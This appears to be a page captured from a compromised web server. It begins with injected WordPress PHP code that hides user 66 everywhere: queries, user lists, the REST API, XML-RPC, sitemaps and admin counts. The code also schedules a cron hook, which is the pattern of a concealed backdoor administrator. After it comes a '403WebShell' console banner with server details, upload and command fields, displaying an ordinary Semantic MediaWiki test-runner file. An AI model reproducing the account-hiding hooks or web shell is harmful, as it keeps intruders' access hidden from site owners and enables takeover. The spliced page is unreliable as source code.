add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/SemanticMediaWiki/tests/phpunit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/SemanticMediaWiki/tests/phpunit//JSONScriptTestCaseRunner.php
<?php

namespace SMW\Tests;

use MediaWiki\Context\RequestContext;
use MediaWiki\MediaWikiServices;
use SMW\Localizer\Localizer;
use SMW\NamespaceManager;
use SMW\SPARQLStore\SPARQLStore;
use SMW\Tests\Utils\File\JsonFileReader;
use SMW\Tests\Utils\JSONScript\JsonTestCaseContentHandler;
use SMW\Tests\Utils\JSONScript\JsonTestCaseFileHandler;
use SMW\Tests\Utils\UtilityFactory;

/**
 * The `JSONScriptTestCaseRunner` is a convenience provider for `Json` formatted
 * integration tests to allow writing tests quicker without the need to setup
 * or tear down specific data structures.
 *
 * The JSON format should make it also possible for novice user to understand
 * what sort of tests are run as the content is based on wikitext rather than
 * native PHP.
 *
 * @group semantic-mediawiki
 * @group Database
 * @group medium
 *
 * @license GPL-2.0-or-later
 * @since 2.2
 *
 * @author mwjames
 */
abstract class JSONScriptTestCaseRunner extends SMWIntegrationTestCase {

	/**
	 * @var JsonFileReader
	 */
	private $fileReader;

	/**
	 * @var JsonTestCaseContentHandler
	 */
	private $jsonTestCaseContentHandler;

	/**
	 * @var array
	 */
	private $itemsMarkedForDeletion = [];

	/**
	 * @var array
	 */
	private $configValueCallback = [];

	/**
	 * @var bool
	 */
	protected $deletePagesOnTearDown = true;

	/**
	 * @var string
	 */
	protected $searchByFileExtension = 'json';

	/**
	 * @var string
	 */
	protected $connectorId = '';

	protected function setUp(): void {
		parent::setUp();

		$utilityFactory = $this->testEnvironment->getUtilityFactory();
		$utilityFactory->newMwHooksHandler()->deregisterListedHooks();
		$utilityFactory->newMwHooksHandler()->invokeHooksFromRegistry();

		$this->fileReader = $utilityFactory->newJsonFileReader();

		$this->jsonTestCaseContentHandler = new JsonTestCaseContentHandler(
			$utilityFactory->newPageCreator(),
			$utilityFactory->newPageDeleter(),
			$utilityFactory->newLocalFileUpload()
		);

		if ( $this->getStore() instanceof SPARQLStore ) {
			if ( isset( $GLOBALS['smwgSparqlDatabaseConnector'] ) ) {
				$connectorId = $GLOBALS['smwgSparqlDatabaseConnector'];
			} else {
				$connectorId = $GLOBALS['smwgSparqlRepositoryConnector'];
			}

			$this->connectorId = strtolower( $connectorId );
		} elseif ( $this->getStore() instanceof \SMW\Elastic\ElasticStore ) {
			$this->connectorId = 'elastic';
		} else {
			$this->connectorId = strtolower( $this->testDatabaseTableBuilder->getDBConnection()->getType() );
		}
	}

	protected function tearDown(): void {
		if ( $this->deletePagesOnTearDown ) {
			$this->testEnvironment->flushPages( $this->itemsMarkedForDeletion );
		}

		$this->testEnvironment->tearDown();
		parent::tearDown();
	}

	/**
	 * @return string
	 */
	abstract protected function getTestCaseLocation();

	/**
	 * @param JsonTestCaseFileHandler $jsonTestCaseFileHandler
	 */
	abstract protected function runTestCaseFile( JsonTestCaseFileHandler $jsonTestCaseFileHandler );

	/**
	 * @return string
	 */
	protected function getRequiredJsonTestCaseMinVersion() {
		return '0.1';
	}

	/**
	 * @return array
	 */
	protected function getAllowedTestCaseFiles() {
		return [];
	}

	/**
	 * @since 3.0
	 *
	 * @return
	 */
	protected function getDependencyDefinitions() {
		return [];
	}

	/**
	 * Selected list of settings (internal or MediaWiki related) that are
	 * permissible for the time of the test run to be manipulated.
	 *
	 * For a configuration that requires special treatment (i.e. where a simple
	 * assignment isn't sufficient), a callback can be assigned to a settings
	 * key in order to sort out required manipulation (constants etc.).
	 *
	 * @return array
	 */
	protected function getPermittedSettings() {
		// Ensure that the context is set for a selected language
		// and dependent objects are reset
		$this->registerConfigValueCallback( 'wgContLang', function ( $val ) {
			RequestContext::getMain()->setLanguage( $val );
			Localizer::clear();
			// #4682, Avoid any surprises when the `wgLanguageCode` is changed during a test
			NamespaceManager::clear();

			// Reset title-related services to prevent stale language objects. See #5951.
			$this->testEnvironment->resetMediaWikiService( 'TitleParser' );
			$this->testEnvironment->resetMediaWikiService( '_MediaWikiTitleCodec' );

			$languageFactory = MediaWikiServices::getInstance()->getLanguageFactory();
			$lang = $languageFactory->getLanguage( $val );

			// https://github.com/wikimedia/mediawiki/commit/49ce67be93dfbb40d036703dad2278ea9843f1ad
			$this->testEnvironment->redefineMediaWikiService( 'ContentLanguage', static function () use ( $lang ) {
				return $lang;
			} );

			return $lang;
		} );

		$this->registerConfigValueCallback( 'wgLang', static function ( $val ) {
			RequestContext::getMain()->setLanguage( $val );
			Localizer::clear();
			NamespaceManager::clear();
			$languageFactory = MediaWikiServices::getInstance()->getLanguageFactory();
			$lang = $languageFactory->getLanguage( $val );
			return $lang;
		} );

		return [];
	}

	/**
	 * @param string $key
	 * @param Closure $callback
	 */
	protected function registerConfigValueCallback( $key, \Closure $callback ) {
		$this->configValueCallback[$key] = $callback;
	}

	/**
	 * @return callable|null
	 */
	protected function getConfigValueCallback( $key ) {
		return isset( $this->configValueCallback[$key] ) ? $this->configValueCallback[$key] : null;
	}

	/**
	 * Normally returns TRUE but can act on the list retrieved from
	 * JsonTestCaseScriptRunner::getAllowedTestCaseFiles (or hereof) to filter
	 * selected files and help fine tune a setup or debug a potential issue
	 * without having to run all test files at once.
	 *
	 * @param string $file
	 *
	 * @return bool
	 */
	protected function canTestCaseFile( $file ) {
		// Filter specific files on-the-fly
		$allowedTestCaseFiles = $this->getAllowedTestCaseFiles();

		if ( $allowedTestCaseFiles === [] ) {
			return true;
		}

		// Doesn't require the exact name
		foreach ( $allowedTestCaseFiles as $fileName ) {
			if ( strpos( $file, $fileName ) !== false ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * @dataProvider jsonFileProvider
	 */
	public function testCaseFile( $file ) {
		if ( !$this->canTestCaseFile( $file ) ) {
			$this->markTestSkipped( $file . ' excluded from the test run' );
		}

		$this->fileReader->setFile( $file );
		$this->runTestCaseFile( new JsonTestCaseFileHandler( $this->fileReader ) );
	}

	/**
	 * @return array
	 */
	public function jsonFileProvider() {
		$provider = [];

		$bulkFileProvider = UtilityFactory::getInstance()->newBulkFileProvider(
			$this->getTestCaseLocation()
		);

		$bulkFileProvider->searchByFileExtension( $this->searchByFileExtension );

		foreach ( $bulkFileProvider->getFiles() as $file ) {
			$provider[basename( $file )] = [ $file ];
		}

		return $provider;
	}

	/**
	 * @since 2.2
	 *
	 * @param mixed $key
	 * @param mixed $value
	 */
	protected function changeGlobalSettingTo( $key, $value ) {
		$this->testEnvironment->addConfiguration( $key, $value );
	}

	/**
	 * @since 2.2
	 *
	 * @param JsonTestCaseFileHandler $jsonTestCaseFileHandler
	 */
	protected function checkEnvironmentToSkipCurrentTest( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
		if ( $jsonTestCaseFileHandler->isIncomplete() ) {
			$this->markTestIncomplete( $jsonTestCaseFileHandler->getReasonForSkip() );
		}

		if ( !$jsonTestCaseFileHandler->hasAllRequirements( $this->getDependencyDefinitions() ) ) {
			$this->markTestSkipped( $jsonTestCaseFileHandler->getReasonForSkip() );
		}

		if ( $jsonTestCaseFileHandler->requiredToSkipForJsonVersion( $this->getRequiredJsonTestCaseMinVersion() ) ) {
			$this->markTestSkipped( $jsonTestCaseFileHandler->getReasonForSkip() );
		}

		if ( $jsonTestCaseFileHandler->requiredToSkipForMwVersion( MW_VERSION ) ) {
			$this->markTestSkipped( $jsonTestCaseFileHandler->getReasonForSkip() );
		}

		if ( $jsonTestCaseFileHandler->requiredToSkipOnSiteLanguage( $GLOBALS['wgLanguageCode'] ) ) {
			$this->markTestSkipped( $jsonTestCaseFileHandler->getReasonForSkip() );
		}

		if ( $jsonTestCaseFileHandler->requiredToSkipForConnector( $this->testDatabaseTableBuilder->getDBConnection()->getType() ) ) {
			$this->markTestSkipped( $jsonTestCaseFileHandler->getReasonForSkip() );
		}

		if ( $jsonTestCaseFileHandler->requiredToSkipForConnector( $this->testDatabaseTableBuilder->getDBConnection()->getType() ) ) {
			$this->markTestSkipped( $jsonTestCaseFileHandler->getReasonForSkip() );
		}
	}

	/**
	 * @since 2.5
	 *
	 * @param array $pages
	 * @param int $defaultNamespace
	 */
	protected function createPagesFrom( array $pages, $defaultNamespace = NS_MAIN ) {
		$this->jsonTestCaseContentHandler->skipOn(
			$this->connectorId
		);

		$this->jsonTestCaseContentHandler->setTestCaseLocation(
			$this->getTestCaseLocation()
		);

		$this->jsonTestCaseContentHandler->createPagesFrom(
			$pages,
			$defaultNamespace
		);

		$this->testEnvironment->executePendingDeferredUpdates();

		$this->itemsMarkedForDeletion = $this->jsonTestCaseContentHandler->getPages();
	}

	/**
	 * @deprecated 2.5
	 */
	protected function createPagesFor( array $pages, $defaultNamespace ) {
		$this->createPagesFrom( $pages, $defaultNamespace );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit